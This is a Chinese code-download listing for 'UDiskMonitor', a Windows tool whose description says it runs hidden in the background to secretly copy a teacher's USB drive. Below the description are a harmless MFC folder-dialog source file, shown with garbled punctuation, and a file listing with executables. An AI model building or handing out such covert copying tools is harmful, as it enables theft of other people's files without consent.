資源簡介
上課老師不給上課的PPT,就總想有個程序能偷偷復制老師的U盤。找了好久才找到這么好的資源 我自己也在用 點擊直接后臺運行 靜等下課復制啦 很好用希望大家喜歡呀

代碼片段和文件信息
//?FolderDialog.cpp:?implementation?of?the?CFolderDialog?class.
//
//////////////////////////////////////////////////////////////////////
#include?“stdafx.h“
#include?“FolderDialog.h“
#ifdef?_DEBUG
#undef?THIS_FILE
static?char?THIS_FILE[]=__FILE__;
#define?new?DEBUG_NEW
#endif
static?int?CALLBACK?BrowseDirectoryCallBack(
HWND?hWnd?UINT?uMsg?LPARAM?lParam?LPARAM?lpData?)
{
CFolderDialog?*?pFd?=?(CFolderDialog*)?lpData;
pFd->CallBackFun(?hWnd?uMsg?lParam?);
return?0;
}
//////////////////////////////////////////////////////////////////////
//?Construction/Destruction
//////////////////////////////////////////////////////////////////////
CFolderDialog::CFolderDialog(?LPCTSTR?lpszFolderName
DWORD?dwFlags?CWnd*?pParentWnd
LPCTSTR?szCaptionLPCTSTR?strtitle)
{
if(?lpszFolderName?==?NULL?)
m_szInitFolderName?=?_T(““);
else
m_szInitFolderName?=?lpszFolderName;
if(szCaption?==?NULL)
{
??? lstrcpy(m_szCaption?_T(“Folder“));
}
else
{
lstrcpy(m_szCaption?szCaption);
}
memset(?&m_bi?‘\0‘?sizeof(BROWSEINFO)?);
if(?pParentWnd==NULL?)
m_bi.hwndOwner=0;
else
m_bi.hwndOwner=pParentWnd->m_hWnd;
m_bi.pidlRoot?=?NULL;
m_bi.pszDisplayName?=?m_szDisplayName;
if?(strtitle?==?NULL)
{
m_bi.lpsztitle?=?_T(“Local“);
}
else
{
m_bi.lpsztitle?=?strtitle;
}
m_bi.ulFlags?=?dwFlags|BIF_STATUSTEXT;
m_bi.lpfn????=?BrowseDirectoryCallBack;
m_bi.lParam??=?(LPARAM)this;
}
?
CFolderDialog::~CFolderDialog()
{
}
void?CFolderDialog::CallBackFun(HWND?hWnd?UINT?uMsg?LPARAM?lParam)
{
m_hDialogBox?=?hWnd;
switch(?uMsg?)
{
case?BFFM_INITIALIZED:
OnInitDialog();
::SetWindowText(m_hDialogBox?m_szCaption);
break;
case?BFFM_SELCHANGED:
OnSelChanged(?(ITEMIDLIST*)lParam?);
break;
}
}
void?CFolderDialog::OnInitDialog()
{
SetSelection(m_szInitFolderName);
SetStatusText(?ShortName(m_szInitFolderName)?);
}
void?CFolderDialog::OnSelChanged(ITEMIDLIST?*pIdl)
{
::SHGetPathFromIDList(?pIdl?m_szPath?);
m_szFinalFolderName?=?m_szPath;
SetStatusText(?ShortName(m_szFinalFolderName)?);
}
int?CFolderDialog::DoModal()
{
int?nReturn?=?IDOK;
m_szFinalFolderName?=?m_szInitFolderName;
ITEMIDLIST?*?piid?=?NULL;
piid?=?::SHBrowseForFolder(?&m_bi?);
if(?piid?&&?::SHGetPathFromIDList(piidm_szPath)?)
{
m_szFinalFolderName?=?m_szPath;
nReturn?=?IDOK;
}
else
{
nReturn?=?IDCANCEL;
}
if(?piid?)
{
LPMALLOC?lpMalloc;
VERIFY(?::SHGetMalloc(&lpMalloc)==NOERROR?);
lpMalloc->Free(piid);
lpMalloc->Release();
}
return?nReturn;
}
void?CFolderDialog::EnableOK(BOOL?bEnable)
{
::SendMessage(?m_hDialogBox?BFFM_ENABLEOK?0?(bEnable?1:0)?);
}
void?CFolderDialog::SetSelection(LPCTSTR?pszSelection)
{
::SendMessage(?m_hDialogBox?BFFM_SETSELECTION?TRUE?(LPARAM)pszSelection?);
}
void?CFolderDialog::SetSelection(ITEMIDLIST?*pIdl)
{
::SendMessage(?m_hDialogBox?BFFM_
?屬性????????????大小?????日期????時間???名稱
-----------?---------??----------?-----??----
?????文件???????3459??2007-03-02?08:48??UDiskMonitor\FolderDialog.cpp
?????文件???????1390??2004-04-02?10:04??UDiskMonitor\FolderDialog.h
?????文件??????14145??2007-06-26?15:08??UDiskMonitor\Hyperli
?????文件???????3545??2008-06-12?15:10??UDiskMonitor\Hyperli
?????文件???????3687??2007-06-26?08:46??UDiskMonitor\ReadMe.txt
?????文件???????2995??2007-06-26?13:56??UDiskMonitor\RegisterKey.cpp
?????文件???????1126??2008-06-12?15:10??UDiskMonitor\RegisterKey.h
????..A.SH.??????7168??2007-06-26?15:15??UDiskMonitor\res\Thumbs.db
?????文件??????10134??1998-05-01?20:01??UDiskMonitor\res\UDiskMonitor.ico
?????文件????????404??2007-06-26?08:46??UDiskMonitor\res\UDiskMonitor.rc2
?????文件???????1286??2008-06-12?15:14??UDiskMonitor\Resource.h
?????文件????????214??2007-06-26?08:46??UDiskMonitor\StdAfx.cpp
?????文件???????1419??2008-06-12?15:09??UDiskMonitor\StdAfx.h
?????文件???????1886??2008-06-12?15:19??UDiskMonitor\UDiskMonitor.clw
?????文件???????2704??2007-06-26?17:03??UDiskMonitor\UDiskMonitor.cpp
?????文件???????4938??2008-06-12?15:15??UDiskMonitor\UDiskMonitor.dsp
?????文件????????549??2007-06-26?08:46??UDiskMonitor\UDiskMonitor.dsw
?????文件??????57344??2008-06-12?15:14??UDiskMonitor\UDiskMonitor.exe
?????文件???????1472??2007-06-26?16:58??UDiskMonitor\UDiskMonitor.h
?????文件??????99328??2008-06-12?15:19??UDiskMonitor\UDiskMonitor.ncb
?????文件??????57856??2008-06-12?15:19??UDiskMonitor\UDiskMonitor.opt
?????文件???????2709??2008-06-12?15:19??UDiskMonitor\UDiskMonitor.plg
?????文件???????6529??2008-06-12?15:14??UDiskMonitor\UDiskMonitor.rc
?????文件??????15482??2008-06-12?15:09??UDiskMonitor\UDiskMonitorDlg.cpp
?????文件???????2566??2007-06-26?16:56??UDiskMonitor\UDiskMonitorDlg.h
?????文件???????3657??2007-04-30?13:29??UDiskMonitor\ValidFunction.cpp
?????文件???????1344??2008-06-12?15:10??UDiskMonitor\ValidFunction.h
?????文件???????6858??2007-06-26?14:27??UDiskMonitor\XPButton.cpp
?????文件???????2405??2008-06-12?15:10??UDiskMonitor\XPButton.h
?????文件?????790528??2013-02-01?10:52??UDiskMonitor\工具V1.0.exe
............此處省略5個文件信息
- 上一篇:考研數學公式總結.pdf
- 下一篇:js鏈接生成二維碼并實現保存二維碼到本地
評論
共有 條評論